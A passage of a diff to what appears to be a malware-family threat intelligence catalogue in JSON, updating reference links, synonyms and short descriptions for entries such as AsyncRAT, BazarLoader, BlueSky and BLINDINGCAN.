"https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html", - "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", - "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", - "https://blog.morphisec.com/asyncrat-new-delivery-technique-new-threat-campaign", - "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", - "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight", - "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", - "https://community.riskiq.com/article/ade260c6", - "https://blog.morphisec.com/syk-crypter-discord", - "https://www.ncsc.admin.ch/ncsc/en/home/aktuell/im-fokus/2022/wochenrueckblick_7.html", "https://thehackernews.com/2022/01/hackers-using-new-evasive-technique-to.html", - "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://brianstadnicki.github.io/posts/vulnerability-asyncrat-rce/", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://labs.k7computing.com/?p=21759", - "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/", - "https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns", - "https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf", - "https://aidenmitchell.ca/asyncrat-via-vbs/", - "https://www.fortinet.com/blog/threat-research/spear-phishing-campaign-with-new-techniques-aimed-at-aviation-companies", - "https://eln0ty.github.io/malware%20analysis/asyncRAT/", - "https://www.zscaler.com/blogs/security-research/targeted-attack-thailand-pass-customers-delivers-asyncrat", - "https://threatpost.com/ta2541-apt-rats-aviation/178422/", - "https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html", - "https://community.riskiq.com/article/24759ad2", - "https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", "https://community.riskiq.com/article/3929ede0/description", + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", + "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://blog.morphisec.com/asyncrat-new-delivery-technique-new-threat-campaign", + "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", + "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://eln0ty.github.io/malware%20analysis/asyncRAT/", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/follina-msdt-exploit-malware", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://community.riskiq.com/article/ade260c6", + "https://brianstadnicki.github.io/posts/vulnerability-asyncrat-rce/", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", + "https://blog.netlab.360.com/purecrypter", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html", + "https://www.zscaler.com/blogs/security-research/targeted-attack-thailand-pass-customers-delivers-asyncrat", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/08/16/asyncrat-c2-framework-overview-technical-analysis-and-detection", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.ncsc.admin.ch/ncsc/en/home/aktuell/im-fokus/2022/wochenrueckblick_7.html", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html", + "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/", "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", + "https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia/", "https://github.com/jeFF0Falltrades/Tutorials/tree/master/asyncrat_config_parser", "https://redskyalliance.org/xindustry/possible-identity-of-a-kuwaiti-hacker-nyanxcat", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/follina-msdt-exploit-malware", - "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", - "https://www.esentire.com/blog/suspected-asyncrat-delivered-via-iso-files-using-html-smuggling-technique", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html", "https://twitter.com/ESETresearch/status/1449132020613922828", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://www.netskope.com/blog/asyncrat-using-fully-undetected-downloader", + "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", + "https://labs.k7computing.com/?p=21759", + "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", "https://twitter.com/MsftSecIntel/status/1392219299696152578", - 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"https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://johannesbader.ch/blog/next-version-of-the-bazarloader-dga/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", + "https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", + "https://blog.minerva-labs.com/slamming-the-backdoor-on-bazarloader", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + 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"https://www.0ffset.net/reverse-engineering/analysing-the-main-bazarloader/", + "https://www.hornetsecurity.com/en/threat-research/bazarloaders-elaborate-flower-shop-lure/", + "https://elis531989.medium.com/highway-to-conti-analysis-of-bazarloader-26368765689d", + "https://www.hornetsecurity.com/en/threat-research/bazarloader-campaign-with-fake-termination-emails/", + "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://fr3d.hk/blog/campo-loader-simple-but-effective", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", + "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-II", + "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", + "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", + "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", + "https://isc.sans.edu/diary/27308", + "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", + "https://intel471.com/blog/conti-leaks-ransomware-development", + "https://blog.fox-it.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "https://experience.mandiant.com/trending-evil/p/1", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/group-behind-trickbot-spreads-fileless-bazarbackdoor", + "https://twitter.com/anthomsec/status/1321865315513520128", + "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://twitter.com/Unit42_Intel/status/1458113934024757256", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", + "https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cybereason.com/hubfs/A%20Bazar%20of%20Tricks%20Following%20Team9%E2%80%99s%20Development%20Cycles%20IOCs.pdf", + "https://kienmanowar.wordpress.com/2022/02/24/quicknote-techniques-for-decrypting-bazarloader-strings/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://johannesbader.ch/blog/the-dga-of-bazarbackdoor/", + "https://news.sophos.com/en-us/2021/04/15/bazarloader-deploys-a-pair-of-novel-spam-vectors", + "https://www.bleepingcomputer.com/news/security/malicious-csv-text-files-used-to-install-bazarbackdoor-malware/", + "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", + "https://www.vkremez.com/2020/04/lets-learn-trickbot-bazarbackdoor.html", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://www.trendmicro.com/en_us/research/21/k/bazarloader-adds-compromised-installers-iso-to-arrival-delivery-vectors.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", + "https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://cofense.com/blog/bazarbackdoor-stealthy-infiltration", + "https://www.bleepingcomputer.com/news/security/corporate-website-contact-forms-used-to-spread-bazarbackdoor-malware/", + "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://johannesbader.ch/blog/a-bazarloader-dga-that-breaks-during-summer-months/", + "https://www.bleepingcomputer.com/news/security/bazarbackdoor-sneaks-in-through-nested-rar-and-zip-archives/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://www.proofpoint.com/us/blog/threat-insight/baza-valentines-day", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://unit42.paloaltonetworks.com/bazarloader-anti-analysis-techniques/", + "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", + "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://malwarebookreports.com/bazarloader-back-from-holiday-break/", + "https://forensicitguy.github.io/bazariso-analysis-advpack/", + "https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/", + "https://unit42.paloaltonetworks.com/bazarloader-malware/", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://www.youtube.com/watch?v=uAkeXCYcl4Y", + "https://unit42.paloaltonetworks.com/ryuk-ransomware/", + "https://thedfirreport.com/2020/10/08/ryuks-return/", + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://www.hhs.gov/sites/default/files/bazarloader.pdf", + "https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", + "https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/" ], "synonyms": [ "BEERBOT", @@ -13038,12 +13585,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarnimrod", "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", 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"https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811" ], "synonyms": [ "NimzaLoader" @@ -13058,10 +13605,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat", - "https://medium.com/insomniacs/shadows-in-the-rain-a16efaf21aae", "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", - "https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb", - "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/" + "https://medium.com/insomniacs/shadows-in-the-rain-a16efaf21aae", + "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/", + "https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb" ], "synonyms": [], "type": [] @@ -13099,7 +13646,8 @@ "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep", + "https://sentrant.com/2015/05/20/bedep-ad-fraud-botnet-analysis-exposing-the-mechanics-behind-153-6m-defrauded-ad-impressions-a-day/index.html" ], "synonyms": [], "type": [] @@ -13177,7 +13725,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos", - "https://securitykitten.github.io/2015/07/14/bernhardpos.html" + "https://securitykitten.github.io/2015/07/14/bernhardpos.html", + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-07-14-bernhardpos.md" ], "synonyms": [], "type": [] @@ -13204,16 +13753,17 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot", 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"https://www.akamai.com/kr/ko/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf" ], "synonyms": [], "type": [] @@ -13315,8 +13865,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.binanen", - "https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Binanen-B/detailed-analysis.aspx", - "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood" + "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood", + "https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Binanen-B/detailed-analysis.aspx" ], "synonyms": [], "type": [] @@ -13329,10 +13879,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.biodata", - "https://unit42.paloaltonetworks.com/unit42-recent-inpage-exploits-lead-multiple-malware-families/", - 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"https://unit42.paloaltonetworks.jp/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/" + "https://unit42.paloaltonetworks.jp/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/", + "https://news.sophos.com/en-us/2020/05/14/raticate/" ], "synonyms": [ "BlackRAT" @@ -13892,11 +14473,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades", + "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", + "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-2-blackshades-net/", "https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/", "https://blog.malwarebytes.com/threat-analysis/2012/06/blackshades-in-syria/", - "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", - "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html", - "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-2-blackshades-net/" + "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html" ], "synonyms": [], "type": [] @@ -13932,17 +14513,31 @@ "uuid": "02d2bb6d-9641-406e-9767-58aff2fad6c7", "value": "Blackworm RAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bleachgap", + "https://labs.k7computing.com/index.php/bleachgap-revamped/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cfcdbf20-304e-4ea4-bec1-d84bb78e723f", + "value": "BleachGap" + }, { "description": "According to SentinelOne, this RAT can gather and transmit a defined set of system features, create/terminate/manipulate processes and files, and has self-updating and deletion capability.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindingcan", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.hvs-consulting.de/lazarus-report/", "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf", "https://www.sentinelone.com/blog/the-blindingcan-rat-and-malicious-north-korean-activity/", - "https://www.hvs-consulting.de/lazarus-report/", - "https://blogs.jpcert.or.jp/en/2020/09/BLINDINGCAN.html" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://blogs.jpcert.or.jp/en/2020/09/BLINDINGCAN.html", + "https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a" ], "synonyms": [ "DRATzarus RAT" @@ -13957,9 +14552,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindtoad", - "https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/", - "https://content.fireeye.com/apt/rpt-apt38" + "https://content.fireeye.com/apt/rpt-apt38", + "https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html" ], "synonyms": [], "type": [] @@ -13972,20 +14567,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blister", - "https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", - "https://redcanary.com/blog/intelligence-insights-january-2022/", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://elastic.github.io/security-research/malware/2022/05/02.blister/article/", - "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-1/", "https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign", - "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-2/", "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", "https://twitter.com/MsftSecIntel/status/1522690116979855360", - "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions" + "https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-2/", + "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-1/", + "https://redcanary.com/blog/intelligence-insights-january-2022/" ], "synonyms": [ "COLORFAKE" @@ -14000,8 +14595,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bloodystealer", - "https://securelist.com/bloodystealer-and-gaming-assets-for-sale/104319/", - "https://twitter.com/3xp0rtblog/status/1380087553676697617" + "https://twitter.com/3xp0rtblog/status/1380087553676697617", + "https://securelist.com/bloodystealer-and-gaming-assets-for-sale/104319/" ], "synonyms": [], "type": [] @@ -14009,6 +14604,20 @@ "uuid": "ecdc0a43-8845-4dc4-a3f0-de2f0142aa4d", "value": "BloodyStealer" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluesky", + "https://unit42.paloaltonetworks.com/bluesky-ransomware/", + "https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5c19d979-4c22-452f-b4f0-9325a46b7083", + "value": "BlueSky" + }, { "description": "", "meta": { @@ -14030,12 +14639,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blustealer", - "https://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat/", "https://blog.minerva-labs.com/a-new-blustealer-loader-uses-direct-syscalls-to-evade-edrs", - "https://decoded.avast.io/anhho/blustealer/", "https://twitter.com/GoSecure_Inc/status/1437435265350397957", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://blogs.blackberry.com/en/2021/10/threat-thursday-blustealer-infostealer" + "https://blogs.blackberry.com/en/2021/10/threat-thursday-blustealer-infostealer", + "https://decoded.avast.io/anhho/blustealer/", + "https://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord" ], "synonyms": [ "a310logger" @@ -14071,6 +14680,19 @@ "uuid": "2f11eb73-4faa-48c5-b217-11e139962c6f", "value": "Boaxxe" }, + { + "description": "This malware offers remote access capabilities but also has a DDoS module that was used against supporters of Ukraine.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bobik", + "https://decoded.avast.io/martinchlumecky/bobik/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "71a2182f-1010-496d-8c20-7a60639adff1", + "value": "Bobik" + }, { "description": "", "meta": { @@ -14113,14 +14735,27 @@ "uuid": "2029a6f7-f98e-4582-bc5b-7ff0188f1af2", "value": "Book of Eli" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bookworm", + "https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1b8cfb29-7a63-459a-bc90-c9ea3634b21c", + "value": "Bookworm" + }, { "description": "FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.boostwrite", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" ], "synonyms": [], "type": [] @@ -14133,8 +14768,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck", - "https://content.fireeye.com/apt/rpt-apt38", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-latin-american-financial-organizations-again/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-latin-american-financial-organizations-again/", + "https://content.fireeye.com/apt/rpt-apt38" ], "synonyms": [ "MBRkiller" @@ -14149,8 +14784,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.boratrat", - "https://www.bleepingcomputer.com/news/security/new-borat-remote-access-malware-is-no-laughing-matter/", "https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/", + "https://www.bleepingcomputer.com/news/security/new-borat-remote-access-malware-is-no-laughing-matter/", "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat" ], "synonyms": [], @@ -14164,9 +14799,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.borr", - "https://twitter.com/ViriBack/status/1222704498923032576", + "https://telegra.ph/Borr-Malware-02-04", "https://github.com/onek1lo/Borr-Stealer", - "https://telegra.ph/Borr-Malware-02-04" + "https://twitter.com/ViriBack/status/1222704498923032576" ], "synonyms": [], "type": [] @@ -14220,17 +14855,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul", - "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", - "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", - "https://www.secureworks.com/research/threat-profiles/nickel-academy", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.us-cert.gov/ncas/alerts/TA18-149A", - 